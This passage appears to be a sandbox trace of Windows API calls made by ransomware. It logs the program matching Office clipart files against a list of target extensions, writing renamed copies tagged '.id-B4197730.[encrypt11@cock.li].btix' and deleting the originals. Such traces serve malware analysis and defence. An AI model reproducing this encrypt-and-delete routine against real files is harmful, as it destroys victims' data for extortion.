Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.280] lstrlenW (lpString=".doc") returned 4 [0132.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString=".docx") returned 5 [0132.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.280] lstrlenW (lpString=".pdf") returned 4 [0132.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString=".xls") returned 4 [0132.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.280] lstrlenW (lpString=".xlsx") returned 5 [0132.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.280] lstrlenW (lpString=".ppt") returned 4 [0132.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.280] lstrlenW (lpString=".zip") returned 4 [0132.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.281] lstrlenW (lpString=".rar") returned 4 [0132.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.281] lstrlenW (lpString=".bz2") returned 4 [0132.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.281] lstrlenW (lpString=".7z") returned 3 [0132.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.281] lstrlenW (lpString=".dbf") returned 4 [0132.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.281] lstrlenW (lpString=".1cd") returned 4 [0132.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0132.281] lstrlenW (lpString=".jpg") returned 4 [0132.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.281] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.281] lstrlenW (lpString="HH00688_.WMF") returned 12 [0132.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.282] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=7084) returned 1 [0132.282] CloseHandle (hObject=0x4d4) returned 1 [0132.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0132.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.282] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.282] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0132.283] GetLastError () returned 0x0 [0132.283] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1bac, lpOverlapped=0x0) returned 1 [0132.331] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0132.332] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.332] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0132.332] SetEndOfFile (hFile=0x3c8) returned 1 [0132.332] CloseHandle (hObject=0x3c8) returned 1 [0132.332] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.333] SetEndOfFile (hFile=0x4d4) returned 1 [0132.335] CloseHandle (hObject=0x4d4) returned 1 [0132.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0132.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.336] lstrlenW (lpString=".doc") returned 4 [0132.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString=".docx") returned 5 [0132.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.336] lstrlenW (lpString=".pdf") returned 4 [0132.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString=".xls") returned 4 [0132.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.336] lstrlenW (lpString=".xlsx") returned 5 [0132.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.336] lstrlenW (lpString=".ppt") returned 4 [0132.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.336] lstrlenW (lpString=".zip") returned 4 [0132.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.336] lstrlenW (lpString=".rar") returned 4 [0132.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString=".bz2") returned 4 [0132.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString=".7z") returned 3 [0132.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.336] lstrlenW (lpString=".dbf") returned 4 [0132.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.336] lstrlenW (lpString=".1cd") returned 4 [0132.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.336] lstrlenW (lpString=".jpg") returned 4 [0132.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.337] lstrlenW (lpString=".doc") returned 4 [0132.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString=".docx") returned 5 [0132.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.337] lstrlenW (lpString=".pdf") returned 4 [0132.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString=".xls") returned 4 [0132.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.337] lstrlenW (lpString=".xlsx") returned 5 [0132.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.337] lstrlenW (lpString=".ppt") returned 4 [0132.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.337] lstrlenW (lpString=".zip") returned 4 [0132.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.337] lstrlenW (lpString=".rar") returned 4 [0132.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString=".bz2") returned 4 [0132.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString=".7z") returned 3 [0132.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.337] lstrlenW (lpString=".dbf") returned 4 [0132.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.337] lstrlenW (lpString=".1cd") returned 4 [0132.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0132.337] lstrlenW (lpString=".jpg") returned 4 [0132.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.338] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.338] lstrlenW (lpString="HH01015_.WMF") returned 12 [0132.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.338] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1148) returned 1 [0132.338] CloseHandle (hObject=0x4d4) returned 1 [0132.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0132.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.339] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.339] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0132.339] GetLastError () returned 0x0 [0132.339] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x47c, lpOverlapped=0x0) returned 1 [0132.365] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x480, lpOverlapped=0x0) returned 1 [0132.366] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.366] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0132.366] SetEndOfFile (hFile=0x3c8) returned 1 [0132.366] CloseHandle (hObject=0x3c8) returned 1 [0132.366] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.366] SetEndOfFile (hFile=0x4d4) returned 1 [0132.370] CloseHandle (hObject=0x4d4) returned 1 [0132.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0132.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString=".doc") returned 4 [0132.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString=".docx") returned 5 [0132.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.371] lstrlenW (lpString=".pdf") returned 4 [0132.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString=".xls") returned 4 [0132.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.371] lstrlenW (lpString=".xlsx") returned 5 [0132.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.371] lstrlenW (lpString=".ppt") returned 4 [0132.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString=".zip") returned 4 [0132.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.371] lstrlenW (lpString=".rar") returned 4 [0132.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString=".bz2") returned 4 [0132.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString=".7z") returned 3 [0132.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString=".dbf") returned 4 [0132.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString=".1cd") returned 4 [0132.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString=".jpg") returned 4 [0132.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.371] lstrlenW (lpString=".doc") returned 4 [0132.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.372] lstrlenW (lpString=".docx") returned 5 [0132.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.372] lstrlenW (lpString=".pdf") returned 4 [0132.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.372] lstrlenW (lpString=".xls") returned 4 [0132.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.372] lstrlenW (lpString=".xlsx") returned 5 [0132.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.372] lstrlenW (lpString=".ppt") returned 4 [0132.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.372] lstrlenW (lpString=".zip") returned 4 [0132.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.372] lstrlenW (lpString=".rar") returned 4 [0132.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.372] lstrlenW (lpString=".bz2") returned 4 [0132.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.372] lstrlenW (lpString=".7z") returned 3 [0132.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.373] lstrlenW (lpString=".dbf") returned 4 [0132.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.373] lstrlenW (lpString=".1cd") returned 4 [0132.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0132.373] lstrlenW (lpString=".jpg") returned 4 [0132.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.373] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.373] lstrlenW (lpString="HH01080_.WMF") returned 12 [0132.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.373] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5000) returned 1 [0132.373] CloseHandle (hObject=0x4d4) returned 1 [0132.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0132.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.374] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.374] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0132.374] GetLastError () returned 0x0 [0132.375] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1388, lpOverlapped=0x0) returned 1 [0132.661] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1390, lpOverlapped=0x0) returned 1 [0132.662] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.662] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0132.662] SetEndOfFile (hFile=0x3c8) returned 1 [0132.663] CloseHandle (hObject=0x3c8) returned 1 [0132.663] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.663] SetEndOfFile (hFile=0x4d4) returned 1 [0132.665] CloseHandle (hObject=0x4d4) returned 1 [0132.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0132.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.666] lstrlenW (lpString=".doc") returned 4 [0132.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.666] lstrlenW (lpString=".docx") returned 5 [0132.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.666] lstrlenW (lpString=".pdf") returned 4 [0132.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.666] lstrlenW (lpString=".xls") returned 4 [0132.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.666] lstrlenW (lpString=".xlsx") returned 5 [0132.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.666] lstrlenW (lpString=".ppt") returned 4 [0132.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.666] lstrlenW (lpString=".zip") returned 4 [0132.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.666] lstrlenW (lpString=".rar") returned 4 [0132.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.666] lstrlenW (lpString=".bz2") returned 4 [0132.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.666] lstrlenW (lpString=".7z") returned 3 [0132.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.666] lstrlenW (lpString=".dbf") returned 4 [0132.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.667] lstrlenW (lpString=".1cd") returned 4 [0132.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.667] lstrlenW (lpString=".jpg") returned 4 [0132.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.667] lstrlenW (lpString=".doc") returned 4 [0132.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString=".docx") returned 5 [0132.667] lstrcmpiW (lpString1=".docx", 